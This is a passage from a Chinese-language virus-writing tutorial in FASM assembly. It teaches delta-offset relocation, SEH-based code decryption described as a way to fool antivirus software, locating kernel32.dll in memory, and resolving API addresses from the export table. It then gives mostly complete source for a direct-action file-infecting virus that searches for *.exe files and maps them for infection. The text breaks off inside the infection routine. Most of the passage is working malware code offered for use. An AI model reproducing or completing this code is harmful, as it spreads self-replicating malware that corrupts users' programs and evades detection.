    next_char:
        lodsb
        stosb
        or      al,al
        jnz     next_char
}

下面我们再来看一个带参数的宏定义:

macro @stosd _dword
{
    mov     eax,_dword
    stosd
}

如果我们要多次存入几个不同的双字我们可以简单地在定义宏时把参数用中括号括起来,比
如:

macro @stosd [_dword]
{
    mov     eax,_dword
    stosd
}

这样当我们调用@stosd 1,2,3的时候,我们的代码被编译成:

mov     eax,1
stosd
mov     eax,2
stosd
mov     eax,3
stosd

对于这种多参数的宏,FASM提供了三个伪指令common、forward和reverse。他们把宏代码分
成块并分别处理。下面我分别来介绍:

forward限定的块表示指令块对参数进行顺序处理,比如上面的宏,如果把上面的代码定义在
forward块中,我们可以得到相同的结果。对于forward块我们可以这样定义

macro @stosd [_dword]
{
    forward
        mov     eax,_dword
        stosd
}

reverse和forward正好相反,表示指令块对参数进行反向处理。对于上面的指令块如果用
reverse限定,那么我们的参数将被按照相反的顺序存入内存。

macro @stosd [_dword]
{
    reverse
        mov     eax,_dword
        stosd
}

这时当我们调用@stosd 1,2,3的时候,我们的代码被编译成:

mov     eax,3
stosd
mov     eax,2
stosd
mov     eax,1
stosd

common限定的块将仅被处理处理一次。我们现在编写一个调用API的宏@invoke:

macro @invoke _api,[_argv]
{
    reverse
        push    _argv
    common
        call    [_api]
}

现在我们可以使用这个宏来调用API了,比如:

@invoke     MessageBox,0,pszText,pszCaption,0

对于宏的使用我们就介绍这些,更多的代码可以参看我的useful.inc(其中有很多29A的宏,
tnx 29a :P)

6、重定位的奥秘
---------------

重定位源于代码中的地址操作,如果没有地址操作那么就不存在所谓的重定位了。让我们先
来分析一段代码。考虑如下代码:

format  PE GUI 4.0

mov     esi,pszText
ret

pszText     db      '#$%*(*)@#$%',0

打开softice,看看我们代码被编译为:

001B:00401000   BE06104000          MOV     ESI,00401006
001B:00401005   C3                  RET
001B:00401006   ...

可见,pszText的地址是在编译时计算好的。我们的病毒代码如果要插入到宿主体内,那么这
个地址就不正确了。我们必须使我们的这个地址是在运行时计算出来的。这就是病毒中经典
的重定位问题。考虑如下代码:

format  PE GUI 4.0

        call    delta
    delta:
        pop     ebp
        sub     ebp,delta
        lea     esi,dword [ebp+pszText]
        ret

pszText     db      '#$%*(*)@#$%',0

我们再来看看这次我们的代码被翻译成了什么样 :P

001B:00401000   E800000000          CALL    00401005
001B:00401005   5D                  POP     EBP
001B:00401006   81ED05104000        SUB     00401005
001B:0040100C   8DB513104000        LEA     ESI,[EBP+00401013]
001B:00401012   C3                  RET
001B:00401013   ...

我们首先用call/pop指令得到了delta在内存中的实际地址(为什么要用这样一个call/pop
结构呢?我们看到这个call被翻译成E8 00 00 00 00,后面的00000000为相对地址,所以这
个指令被翻译成mov 00401005。因为后面是一个相对地址,所以当这段代码被插入到宿主中
后这个call依然可以得到正确的地址),在这个程序中是00401005。然后得到delta的偏移
地址(offset),这个地址也是00401005,但我们从指令的机器码中看到这个地址是个绝对
地址。我们用这个实际的地址减去这个绝对的偏移地址就得到了这个程序段对于插入前原程
序段的偏移量。这是什么意思呢,上面的程序其实根本不需要重定位,让我们来考虑这样一
个情况:

假设上面的代码被插入到了宿主中。假设插入的地址为00501000(取这个地址是为了计算方
便 :P),这时通过call/pop得到delta的地址为00501005。但delta的offset是在编译时计算
的绝对地址,所以仍为00401005。这两个值相减就得到了这个程序段相对于原程序段的偏移
量00100000。这就意味着我们所有地址操作都要加上这个偏移才能调整到正确的地址。这就
是代码的自身重定位。

当然这种重定位还可以写成别的形式,比如:
        call
    shit:
        ...
    delta:
        pop     ebp
        sub     ebp,shit
        ...

等等... 这些就留给读者自己去分析吧。

7、SEH
------

我们都知道,在x86系列中,保护模式下的异常处理是CPU通过在IDT中查询相应的异常处理
例程来完成的。Win32中,系统利用SEH(Structured Exception Handling,结构化异常处
理)来实现对IDT内异常的处理。同时,SEH还被用来处理用户自定义异常。

可能读者对SEH这个词不很熟悉,但对于下边的程序大家也许都不会感到陌生:

#pragma warning (disable: 4723)

#include
#include
using namespace std;

int main (int argc, char *argv[])
{
    __try
    {
        int a=0,b=456;
        a=b/a;
    }

    __except (GetExceptionCode () == EXCEPTION_INT_DIVIDE_BY_ZERO ?
              EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
    {
        cout<<"产生除0异常/n"<    }

    return 0;
}

这里的__try / __except用到的就是SEH。下面我们来看一下SEH的工作原理。在Win32的线
程中,FS总是指向一个叫做TIB(Thread Information Block,线程信息块)的结构,在NT
系统中这个结构为TEB(Thread Environment Block,线程环境块)。我们不需要清楚整个
结构,我们只需要知道这个结构的第一个双字是指向EXCEPTION_REGISTRATION结构的指针。

; 这是FASM对结构的定义,熟悉一下 :P
struc EXCEPTION_REGISTRATION
{
    .prev       dd      ?
    .handler    dd      ?
}

prev字段指向下一个ER结构。handler指向异常处理例程。这是一个典型的链表结构。每当
有异常发生时,SEH机制被激活。然后SEH通过TIB/TEB找到ER链,并搜寻合适的异常处理例
程。

下面我们看一个简单的程序,这个程序演示了怎样利用SEH来除错。

format  PE GUI 4.0
entry   __start


section '.text' code    readable executable

    __start:
        xor     eax,eax
        xchg    [eax],eax
        ret

运行程序,发现产生了异常,下面我们把上面的代码前面加上这两句:

        push    dword [fs:0]
        mov     [fs:0],esp

再次运行程序,怎么样?程序正常退出了。打开SOFTICE并加载该程序进行调试。查看ESP指
向的地址:

: d esp2
0023:0006FFC4 C7 14 E6 77 ..

可知程序RET后的返回地址为77e614c7h,所以查看这个地址处的代码:

: u 77e614c7
001B:77E614C7 PUSH EAX
001B:77E614C8 CALL Kernel32! ExitThread

可见,程序被加载到内存后栈顶的双字指向ExitThread,我们的程序就是简单地把这个函数
当做了异常处理例程。这样当有异常发生是程序便退出了,没有了那个讨厌的异常对话框。

当然,我们利用SEH的目的并不是简单地让程序在发生错误时直接退出。多数教程在将SEH时
都会举除0错误并用SEH除错的例子。这样的例子太多了,google上可以搜到很多,所以这里
我就不做无用功了 :P 下面的例子演示了一个利用SEH解密的例子:

format  PE GUI 4.0
entry   __start


;
; code section...
;

section '.text' code    readable writeable executable

    _decript:
            mov     ecx,encripted_size              ; decript
            mov     esi,encripted
            mov     edi,esi
        decript:
            lodsb
            xor     al,15h
            stosb
            loop    decript

            mov     eax,[esp+0ch]                   ; context
            mov     dword [eax+0b8h],encripted

            xor     eax,eax         ; ExceptionContinueExecution
            ret


    __start:
            lea     eax,[esp-8]                     ; setup seh frame
            xchg    eax,[fs:0]
            push    _decript
            push    eax

            mov     ecx,encripted_size              ; encript
            mov     esi,encripted
            mov     edi,esi
        encript:
            lodsb
            xor     al,15h
            stosb
            loop    encript

            int     3                               ; start decription

        encripted:
            xor     eax,eax                         ; simply show a message box
            push    eax
            call    push_caption
            db      'SEH',0
        push_caption:
            call    push_text
            db      'A simple SEH test :P',0
        push_text:
            push    eax
            call    [MessageBox]
        encripted_size    =   $-encripted

            ret


;
; import section...
;

section '.idata' import data    readable

    ; image import descriptor
    dd      0,0,0,RVA usr_dll,RVA usr_thunk
    dd      0,0,0,0,0

    ; dll name
    usr_dll     db      'user32.dll',0

    ; image thunk data
    usr_thunk:
        MessageBox      dd      RVA __imp_MessageBox
                        dd      0

    ; image import by name
    __imp_MessageBox    dw      0
                        db      'MessageBoxA',0

程序分为三个部分:建立自定义异常处理例程、加密代码、利用SEH解密。下面我们对这三个
部分分别进行分析。

程序首先在堆栈上腾出一个ER空间(lea),然后然后使FS:0指向它。之后填充这个ER结构,
prev字段填为之前的FS:[0],handler字段为自定义的异常处理例程_decript。这样我们就
完成了SEH的修改。

下面是代码的加密,这段代码在后面的章节会讲到。这里是简单地把被加密代码的每个字节
与一个特定的值(程序中是15h)相异或(再次异或即解密),这就是最简单的加密手段。

之后我们用int 3引发一个异常,这时我们的_decript被激活,我们使用与加密完全相同的
代码解密。到这里,我们还是在复习前面的知识 :P 后面的代码有点费解了,没关系,让我
们来慢慢理解 :P

我们先来看看SEH要求的异常处理例程回调函数原形:

VOID WINAPI (*_STRUCTURED_EXCEPTION_HANDLER) (
    PEXCEPTION_RECORD pExceptionRecord,
    PEXCEPTION_REGISTRATION pSEH,
    PCONTEXT pContext,
    PEXCEPTION_RECORD pDispatcherContext
);

我们先来看一下EXCEPTION_RECORD结构:

typedef struct _EXCEPTION_RECORD {
    DWORD ExceptionCode;
    DWORD ExceptionFlags;
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD, *PEXCEPTION_RECORD;

ExceptionCode字段定义了产生异常的原因,下面是WinNT.h中对异常的部分定义:

...
#define STATUS_GUARD_PAGE_VIOLATION      ((DWORD   )0x80000001L)
#define STATUS_DATATYPE_MISALIGNMENT     ((DWORD   )0x80000002L)
#define STATUS_BREAKPOINT                ((DWORD   )0x80000003L)
#define STATUS_SINGLE_STEP               ((DWORD   )0x80000004L)
#define STATUS_ACCESS_VIOLATION          ((DWORD   )0xC0000005L)
#define STATUS_IN_PAGE_ERROR             ((DWORD   )0xC0000006L)
#define STATUS_INVALID_HANDLE            ((DWORD   )0xC0000008L)
#define STATUS_NO_MEMORY                 ((DWORD   )0xC0000017L)
#define STATUS_ILLEGAL_INSTRUCTION       ((DWORD   )0xC000001DL)
...

我们并不太关心这个结构的其他字段。下面我们需要理解的是CONTEXT结构。我们知道Win-
dows为线程循环地分配时间片,当一个线程被挂起后,为了以后它还可以恢复运行,系统必
须保存其线程环境。对一个线程来说,其环境就是各个寄存器的值,只要寄存器的值不变其
线程环境就没有变。所以只需要把这个线程的寄存器状态保存下来就可以了。Windows用一个
CONTEXT结构来保存这些寄存器的状态。下面是WinNT.h中对CONTEXT的定义:

typedef struct _CONTEXT {

    DWORD ContextFlags;

    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;

    FLOATING_SAVE_AREA FloatSave;

    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;

    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;

    DWORD   Ebp;
    DWORD   Eip;
    DWORD   SegCs;
    DWORD   EFlags;
    DWORD   Esp;
    DWORD   SegSs;

    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];

} CONTEXT, *PCONTEXT;

最后我们再来说一下这个异常处理过程的返回值,这个返回值决定了程序下一步的执行情
况,很多人在刚刚接触SEH的时候总是忽略这个返回值,导致程序不能得到正确的结果,我
就犯过这样的错误 :P

SEH异常处理例程的返回值有4种定义:

ExceptionContinueExecution(=0):返回后系统把线程环境设置为CONTEXT的状态后继续
执行。

ExceptionContinueSearch(=1):表示这个异常处理例程拒绝处理这个异常,系统会根据
ER的prev字段搜索下一个异常处理例程并调用它。

ExceptionNestedException(=2):表示发生了嵌套异常,即异常处理例程中发生了新的异
常。

ExceptionCollidedUnwind(=3):发生了嵌套的展开。

现在我们再回过头来看我们刚才的代码,程序中首先通过mov eax,[esp+0ch]得到CONTEXT结
构,然后通过mov dword [eax+0b8h],encripted把encripted的地址写到CONTEXT的Eip字段
中。这样,当这个异常处理以ExceptionContinueExecution返回时程序就会执行Eip处开始
的代码了。而异常处理中的代码是很难动态跟踪的,我们可以利用SEH的这个特点骗过一些
杀毒软件 :P

好了,又结束了一节 :D 我们距离真正编写一个病毒已经不远了,让我们来看看我们还需要
什么 :P

8、API函数地址的获得
--------------------

回忆一下刚才我们是如何调用API的:首先,引入表是由一系列的IMAGE_IMPORT_DESCRIPTOR
结构组成的,这个结构中有一个FirstThunk字段,它指向一个数组,这个数组中的值在文件
被pe ldr加载到内存后被改写成函数的真正入口。一些编译器在调用API时把后面的地址指向
一个跳转表,这个跳转表中的jmp后面的地址就是FirstThunk中函数的真正入口。对于FASM
编译器,由于PE文件的引入表是由我们自己建立的,所以我们可以直接使用FirstThunk数组
中的值。

无论是哪种情况,总之,call的地址在编译时就被确定了。而我们的病毒代码是要插入到宿
主的代码中去的,所以我们的call指令后面的地址必须是在运行时计算的。那么怎么找到API
函数的地址呢?我们可以到宿主的引入表中去搜索那个对应函数的FirstThunk,但是这样做
有一个问题,我们需要函数并不一定是宿主程序需要的。换句话说,就是可能我们需要的函
数在宿主的引入表中不存在。这使我们不得不考虑别的实现。我们可以直接从模块的导出表
中搜索API的地址。


8.1、暴力搜索kernel32.dll
-------------------------

在kernel32.dll中有两个API -- LoadLibraryA和GetProcAddress。前者用来加载一个动态
链接库,后者用来从一个已加载的动态链接库中找到API的地址。我们只要得到这两个函数
就可以调用任何库中的任意函数了。

在上一节中我们说过,程序被加载后[esp]的值是kernel32.dll中的ExitThread的地址,所以
我们可以肯定kernel32.dll是一定被加载的模块。所以我们第一步就是要找到kernel32.dll
在内存中的基地址。

那么我们从哪里入手呢?我们可以使用硬编码,比如Win2k下一般是77e60000h,WinXP SP1
是77e40000h,SP2是7c800000h等。但是这么做不具有通用性,所以这里我们介绍一个通用
也是现在最流行的方法:暴力搜索kernel32.dll。

大概的思想是这样的:我们只要找到得到任意一个位于kernel32.dll地址空间的地址,从这
个地址向下搜索就一定能得到kernel32.dll的基址。还记得刚才说的那个[esp]么,那个
ExitThread的地址就是位于kernel32.dll中的,我们可以从这里入手。考虑如下代码:

            mov     edi,[esp]               ; get address of kernel32!ExitThread
            and     edi,0ffff0000h          ; base address must be aligned by 1000h

        krnl_search:
            cmp     word [edi],'MZ'         ; 'MZ' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            lea     esi,[edi+3ch]           ; point to e_lfanew
            lodsd                           ; get e_lfanew
            test    eax,0fffff000h          ; DOS header+DOS stub mustn't > 4k
            jnz     not_pe                  ; it's not a PE, continue searching
            add     eax,edi                 ; point to IMAGE_NT_HEADER
            cmp     word [eax],'PE'         ; 'PE' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            jmp     krnl_found

        not_pe:
            dec     edi
            xor     di,di                   ; decrease 4k bytes
            cmp     edi,70000000h           ; the base cannot below 70000000h
            jnb     krnl_search
            xor     edi,edi                 ; base not found

        krnl_found:
            ...                             ; now EDI contains the kernel base
                                            ; zero if not found

程序首先把ExitThread的地址和0ffff0000h相与,因为kernel32.dll在内存中一定是1000h字
节对齐的(什么?为什么?还记得IMAGE_OPTIONAL_HEADER中的SectionAlignment么 :P)。
然后我们比较EDI指向的字单元是不是MZ标识,如果不是那么一定不是一个PE文件的起始位
置;如果是,那么我们就得到e_lfanew。我们先检查这个偏移是不是小于4k,因为这个值一
般是不会大于4k的。如果仍然符合条件,我们把这个值与EDI相加,如果EDI就是kernel32的
基址那么这时相加的结果应该指向IMAGE_NT_HEADER,所以我们检查这个字单元,如果是PE
标识,那么我们可以肯定这就是我们要找的kernel32了;如果不是把EDI的值减少4k并继续
查找。一般kernel32.dll的基址不会低于70000000h的,所以我们可以把这个地址作为下界,
如果低于这个地址我们还没有找到kernel32那么我们可以认为我们找不到kernel32了 :P

但是上面的作为有一些缺陷,因为我们的代码是要插入到宿主体内的,所以我们不能保证在
我们的代码执行前堆栈没有被破坏。假如宿主在我们的代码执行前进行了堆栈操作那么我们
很可能就得不到kernel32.dll了。

还有一个方法,就是遍历SEH链。在SEH链中prev字段为0ffffffffh的ER结构的异常处理例程
是在kernel32.dll中的。所以我们可以找到这个ER结构,然后...

下面我给出一个完整的程序,演示了如何搜索kernel32.dll并显示:

format  PE GUI 4.0
entry   __start


;
; code section...
;

section '.text' code    readable writeable executable

    szText: times 20h   db  0


    ;
    ; _get_krnl_base: get kernel32.dll's base address
    ;
    ; input:
    ;       nothing
    ;
    ; output:
    ;       edi:    base address of kernel32.dll, 0 if not found
    ;

    _get_krnl_base:
            mov     esi,[fs:0]
        visit_seh:
            lodsd
            inc     eax
            jz      in_krnl
            dec     eax
            xchg    esi,eax
            jmp     visit_seh

        in_krnl:
            lodsd
            xchg    eax,edi
            and     edi,0ffff0000h          ; base address must be aligned by 1000h

        krnl_search:
            cmp     word [edi],'MZ'         ; 'MZ' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            lea     esi,[edi+3ch]           ; point to e_lfanew
            lodsd                           ; get e_lfanew
            test    eax,0fffff000h          ; DOS header+DOS stub mustn't > 4k
            jnz     not_pe                  ; it's not a PE, continue searching
            add     eax,edi                 ; point to IMAGE_NT_HEADER
            cmp     word [eax],'PE'         ; 'PE' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            jmp     krnl_found

        not_pe:
            dec     edi
            xor     di,di                   ; decrease 4k bytes
            cmp     edi,70000000h           ; the base cannot below 70000000h
            jnb     krnl_search
            xor     edi,edi                 ; base not found

        krnl_found:
            ret


    ;
    ; main entrance...
    ;

    __start:
            call    _get_krnl_base
            push    edi                     ; now EDI contains the kernel base
            call    push_format             ; zero if not found
            db      'kernel32 base = 0x%X',0
        push_format:
            push    szText
            call    [wsprintf]
            add     esp,0ch
            xor     eax,eax
            push    eax
            call    push_caption
            db      'kernel',0
        push_caption:
            push    szText
            push    eax
            call    [MessageBox]

            ret


;
; import section...
;

section '.idata' import data    readable

    ; image import descriptor
    dd      0,0,0,RVA usr_dll,RVA usr_thunk
    dd      0,0,0,0,0

    ; dll name
    usr_dll     db      'user32.dll',0

    ; image thunk data
    usr_thunk:
        MessageBox      dd      RVA __imp_MessageBox
        wsprintf        dd      RVA __imp_wsprintf
                        dd      0

    ; image import by name
    __imp_MessageBox    dw      0
                        db      'MessageBoxA',0
    __imp_wsprintf      dw      0
                        db      'wsprintfA',0


8.2、搜索导出表,获取API地址
----------------------------

在开始之前,如果大家对前面导出表的知识还不熟悉,那么请务必再复习一遍,否则后边的
内容会显得很晦涩...

好了,我们继续吧 :P

整个搜索的过程说起来很简单,但做起来很麻烦,让我们一点一点来。首先我们要先导出函
数名称表中找到我们要得到的函数,并记下它在这个数组中的索引值。然后通过这个索引值
在序号数组中找到它对应的序号。最后通过这个序号在导出函数入口表中找到其入口。

下面我们慢慢来。先要匹配函数名。假设edx中存放着kernel32.dll的基址,esi中存放着API
的名称。考虑如下代码:

            mov     ebx,edx                 ; save module image base for
                                            ; later use
            push    esi                     ; save API name
            xchg    esi,edi
            xor     ecx,ecx
            xor     al,al
            dec     ecx
            repnz   scasb
            neg     ecx
            dec     ecx
            push    ecx                     ; save length of the API name

            lea     edi,[edx+3ch]
            add     edx,dword [edi]         ; edx points to IMAGE_NT_HEADER
            push    edx                     ; save IMAGE_NT_HEADER
            mov     edi,dword [edx+78h]     ; edi has the RVA of export table
            add     edi,ebx                 ; edi points to export table
            lea     esi,[edi+18h]
            lodsd                           ; eax get NumberOfNames
            push    eax                     ; save NumberOfNames
            mov     esi,[edi+20h]
            add     esi,ebx                 ; now points to name RVA table

            xor     edx,edx
        match_api_name:
            lodsd
            add     eax,ebx
            xchg    eax,edi                 ; get a API name
            xchg    esi,ebp
            mov     ecx,dword [esp+08h]     ; length of API name
            mov     esi,dword [esp+0ch]     ; API name buffer
            repz    cmpsb
            jz      api_name_found
            xchg    esi,ebp
            inc     edx
            cmp     edx,dword [esp]
            jz      api_not_found
            jmp     match_api_name

上面的代码首先把kernel32.dll的基址复制到ebx中保存,然后计算了API名称的长度(包括
零)并进行匹配,如果匹配成功则edx包含了这个函数在函数名数组中的索引值。下面在序号
数组中通过这个索引值得到这个函数的序号。考虑如下代码:

            shl     edx,1
            mov     esi,[esp+04h]           ; export table address
            mov     eax,[esi+24h]
            add     eax,ebx                 ; ordinal table
            movzx   edx,word [eax+edx]
            shl     edx,2
            mov     eax,[esi+1ch]
            add     eax,ebx                 ; function address table
            mov     eax,[eax+edx]
            add     eax,ebx                 ; found!!!

首先我们可以得到序号数组的RVA,然后把这个值与模块(这里是kernel32.dll)的基地址
相加,这样就得到了数组的内存地址。由于序号数组是WORD型的,所以我们的索引值必须要
乘以2。然后通过这个值在数组中索引到函数在导出函数入口表中的索引。由于这个数组是
DWORD型的,所以我们这个索引要乘以4。我们很容易得到导出函数入口表的内存地址。最后
我们通过刚才的索引得到函数的入口地址。

下面我们看一个完整的代码:

format  PE GUI 4.0
entry   __start


;
; code section...
;

section '.text' code    readable writeable executable

    ;
    ; _get_krnl_base: get kernel32.dll's base address
    ;
    ; input:
    ;       nothing
    ;
    ; output:
    ;       edi:    base address of kernel32.dll, zero if not found
    ;

    _get_krnl_base:
            mov     esi,[fs:0]
        visit_seh:
            lodsd
            inc     eax
            jz      in_krnl
            dec     eax
            xchg    esi,eax
            jmp     visit_seh

        in_krnl:
            lodsd
            xchg    eax,edi
            and     edi,0ffff0000h          ; base address must be aligned by 1000h

        krnl_search:
            cmp     word [edi],'MZ'         ; 'MZ' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            lea     esi,[edi+3ch]           ; point to e_lfanew
            lodsd                           ; get e_lfanew
            test    eax,0fffff000h          ; DOS header+DOS stub mustn't > 4k
            jnz     not_pe                  ; it's not a PE, continue searching
            add     eax,edi                 ; point to IMAGE_NT_HEADER
            cmp     word [eax],'PE'         ; 'PE' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            jmp     krnl_found

        not_pe:
            dec     edi
            xor     di,di                   ; decrease 4k bytes
            cmp     edi,70000000h           ; the base cannot below 70000000h
            jnb     krnl_search
            xor     edi,edi                 ; base not found

        krnl_found:
            ret


    ;
    ; _get_apiz: get apiz from a loaded module, something like GetProcAddress
    ;
    ; input:
    ;       edx:    module handle (module base address)
    ;       esi:    API name
    ;
    ; output:
    ;       eax:    API address, zero if fail
    ;

    _get_apiz:
            push    ebp
            mov     ebp,esp

            push    ebx
            push    ecx
            push    edx
            push    esi
            push    edi

            or      edx,edx                 ; module image base valid?
            jz      return
            mov     ebx,edx                 ; save module image base for
                                            ; later use
            push    esi                     ; save API name
            xchg    esi,edi
            xor     ecx,ecx
            xor     al,al
            dec     ecx
            repnz   scasb
            neg     ecx
            dec     ecx
            push    ecx                     ; save length of the API name

            lea     edi,[edx+3ch]
            add     edx,dword [edi]         ; edx points to IMAGE_NT_HEADER
            push    edx                     ; save IMAGE_NT_HEADER
            mov     edi,dword [edx+78h]     ; edi has the RVA of export table
            add     edi,ebx                 ; edi points to export table
            push    edi                     ; save address of export table
            lea     esi,[edi+18h]
            lodsd                           ; eax get NumberOfNames
            push    eax                     ; save NumberOfNames
            mov     esi,[edi+20h]
            add     esi,ebx                 ; now points to name RVA table

            xor     edx,edx
        match_api_name:
            lodsd
            add     eax,ebx
            xchg    eax,edi                 ; get a API name
            xchg    esi,eax
            mov     ecx,dword [esp+0ch]     ; length of API name
            mov     esi,dword [esp+10h]     ; API name buffer
            repz    cmpsb
            jz      api_name_found
            xchg    esi,eax
            inc     edx
            cmp     edx,dword [esp]
            jz      api_not_found
            jmp     match_api_name

        api_not_found:
            xor     eax,eax
            xor     edi,edi
            jmp     return

        api_name_found:
            shl     edx,1
            mov     esi,[esp+04h]           ; export table address
            mov     eax,[esi+24h]
            add     eax,ebx                 ; ordinal table
            movzx   edx,word [eax+edx]
            shl     edx,2
            mov     eax,[esi+1ch]
            add     eax,ebx                 ; function address table
            mov     eax,[eax+edx]
            add     eax,ebx                 ; found!!!

        return:
            add     esp,14h
            pop     edi
            pop     esi
            pop     edx
            pop     ecx
            pop     ebx

            mov     esp,ebp
            pop     ebp
            ret


    ;
    ; main entrance...
    ;

    __start:
            call    _get_krnl_base          ; get kernel32.dll base address
            or      edi,edi
            jz      exit

            xchg    edi,edx                 ; edx <-- kernel32.dll's image base
            call    @f
            db      'LoadLibraryA',0
        @@:
            pop     esi                     ; esi <-- api name
            call    _get_apiz
            or      eax,eax
            jz      exit
            mov     [__addr_LoadLibrary],eax
            call    @f
            db      'GetProcAddress',0
        @@:
            pop     esi
            call    _get_apiz
            or      eax,eax
            jz      exit
            mov     [__addr_GetProcAddress],eax

            call    @f
            db      'user32.dll',0
        @@:
            mov     eax,12345678h
        __addr_LoadLibrary  =   $-4
            call    eax
            call    @f
            db      'MessageBoxA',0
        @@:
            push    eax
            mov     eax,12345678h
        __addr_GetProcAddress   =   $-4
            call    eax

            xor     ecx,ecx
            push    ecx
            call    @f
            db      'get_apiz',0
        @@:
            call    @f
            db      'Can you find the import section from this app ^_^',0
        @@:
            push    ecx
            call    eax

        exit:
            ret

9、实现一个最简单的病毒
-----------------------

在这一节,我们来看一个最简单的病毒,一个search+infect+payload的direct action病毒 :P

嗯...有什么好解释的呢?似乎过于简单了,我们还是直接看代码吧:

format  PE GUI 4.0
entry   _vStart
include 'useful.inc'


virtual at esi
    vMZ_esi     IMAGE_DOS_HEADER
end virtual

virtual at esi
    vFH_esi     IMAGE_FILE_HEADER
end virtual

virtual at esi
    vOH_esi     IMAGE_OPTIONAL_HEADER
end virtual


.coderwe

_vStart:
            call    delta
delta:      pop     ebp
            call    _get_krnl
            or      edi,edi
            jz      jmp_host
            xchg    edi,edx
            lea     esi,[ebp+api_namez-delta]
            lea     edi,[ebp+api_addrz-delta]
get_apiz:   call    _get_apiz
            or      eax,eax
            jz      apiz_end
            stosd
            jmp     get_apiz
            wfd     WIN32_FIND_DATA
apiz_end:
            cmp     ebp,delta                   ; is this the origin virus?
            jz      infect_filez

            @pushsz 'user32.dll'
            call    [ebp+__addr_LoadLibraryA-delta]
            or      eax,eax
            jz      jmp_host
            xchg    eax,edx
            @pushsz 'MessageBoxA'
            pop     esi
            call    _get_apiz
            xor     esi,esi
            @call   eax,esi,'This file has been infected... :P','win32.flu',esi
            call    infect_filez
            jmp     jmp_host

infect_filez:
            lea     eax,[ebp+wfd-delta]
            push    eax
            @pushsz '*.exe'
            call    [ebp+__addr_FindFirstFileA-delta]
            inc     eax
            jz      jmp_host
            dec     eax
            mov     dword [ebp+hFindFile-delta],eax
next_file:  lea     esi,[ebp+wfd.WFD_szFileName-delta]
            call    _infect_file
            lea     eax,[ebp+wfd-delta]
            push    eax
            push    12345678h
    hFindFile = $-4
            call    [ebp+__addr_FindNextFileA-delta]
            or      eax,eax
            jnz     next_file
            push    dword [hFindFile]
            call    [ebp+__addr_FindClose-delta]
            ret


; get kernel32.dll image base...

_get_krnl:
            @SEH_SetupFrame
            mov     esi,[fs:0]
visit_seh:  lodsd
            inc     eax
            jz      in_krnl
            dec     eax
            xchg    esi,eax
            jmp     visit_seh
in_krnl:    lodsd
            xchg    eax,edi
            and     edi,0ffff0000h          ; base address must be aligned by 1000h
krnl_search:
            cmp     word [edi],'MZ'         ; 'MZ' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            lea     esi,[edi+3ch]           ; point to e_lfanew
            lodsd                           ; get e_lfanew
            test    eax,0fffff000h          ; DOS header+DOS stub mustn't > 4k
            jnz     not_pe                  ; it's not a PE, continue searching
            add     eax,edi                 ; point to IMAGE_NT_HEADER
            cmp     word [eax],'PE'         ; 'PE' signature?
            jnz     not_pe                  ; it's not a PE, continue searching
            jmp     krnl_found
not_pe:     dec     edi
            xor     di,di                   ; decrease 4k bytes
            cmp     edi,70000000h           ; the base cannot below 70000000h
            jnb     krnl_search
seh_handler:
            xor     edi,edi                 ; base not found
krnl_found:
            @SEH_RemoveFrame
            ret


; get apiz using in virus codez...

_get_apiz:
            pushad
            xor     eax,eax
            cmp     byte [esi],0
            jz      ret_value
            or      edx,edx                 ; module image base valid?
            jz      return
            mov     ebx,edx                 ; save module image base for
                                            ; later use
            push    esi                     ; save API name
            xchg    esi,edi
            xor     ecx,ecx
            xor     al,al
            dec     ecx
            repnz   scasb
            neg     ecx
            dec     ecx
            push    ecx                     ; save length of the API name
            mov     dword [vPushad_ptr.Pushad_esi+08h],edi

            lea     edi,[edx+3ch]
            add     edx,dword [edi]         ; edx points to IMAGE_NT_HEADER
            push    edx                     ; save IMAGE_NT_HEADER
            mov     edi,dword [edx+78h]     ; edi has the RVA of export table
            add     edi,ebx                 ; edi points to export table
            push    edi                     ; save address of export table
            lea     esi,[edi+18h]
            lodsd                           ; eax get NumberOfNames
            push    eax                     ; save NumberOfNames
            mov     esi,[edi+20h]
            add     esi,ebx                 ; now points to name RVA table

            xor     edx,edx
match_api_name:
            lodsd
            add     eax,ebx
            xchg    eax,edi                 ; get a API name
            xchg    esi,eax
            mov     ecx,dword [esp+0ch]     ; length of API name
            mov     esi,dword [esp+10h]     ; API name buffer
            repz    cmpsb
            jz      api_name_found
            xchg    esi,eax
            inc     edx
            cmp     edx,dword [esp]
            jz      api_not_found
            jmp     match_api_name

api_not_found:
            xor     eax,eax
            xor     edi,edi
            jmp     return

api_name_found:
            shl     edx,1
            mov     esi,[esp+04h]           ; export table address
            mov     eax,[esi+24h]
            add     eax,ebx                 ; ordinal table
            movzx   edx,word [eax+edx]
            shl     edx,2
            mov     eax,[esi+1ch]
            add     eax,ebx                 ; function address table
            mov     eax,[eax+edx]
            add     eax,ebx                 ; found!!!

return:     add     esp,14h
ret_value:  mov     [vPushad_ptr.Pushad_eax],eax
            popad
            ret


; file infecting procedure...

_infect_file:
            pushad
            @FILE_CreateFileRW [ebp+__addr_CreateFileA-delta],esi
            inc     eax
            jz      end_infect
            dec     eax
            mov     [ebp+hFile-delta],eax
            @FILE_CreateFileMappingRW [ebp+__addr_CreateFileMappingA-delta],eax,NULL
            or      eax,eax
            jz      close_file
            mov     [ebp+hFileMapping-delta],eax
            @FILE_MapViewOfFileRW [ebp+__addr_MapViewOfFile-delta],eax
            or      eax,eax
            jz      close_map
            mov     [ebp+pMem-delta],eax

            xchg    eax,esi
            cmp     word [esi],'MZ'             ; check if it's a PE file
            jnz     unmap_file                  ; (MZ has the same ext. name
            mov     eax,[vMZ_esi.MZ_lfanew]     ; .exe :P)
            test    ax,0f000h
            jnz     unmap_file
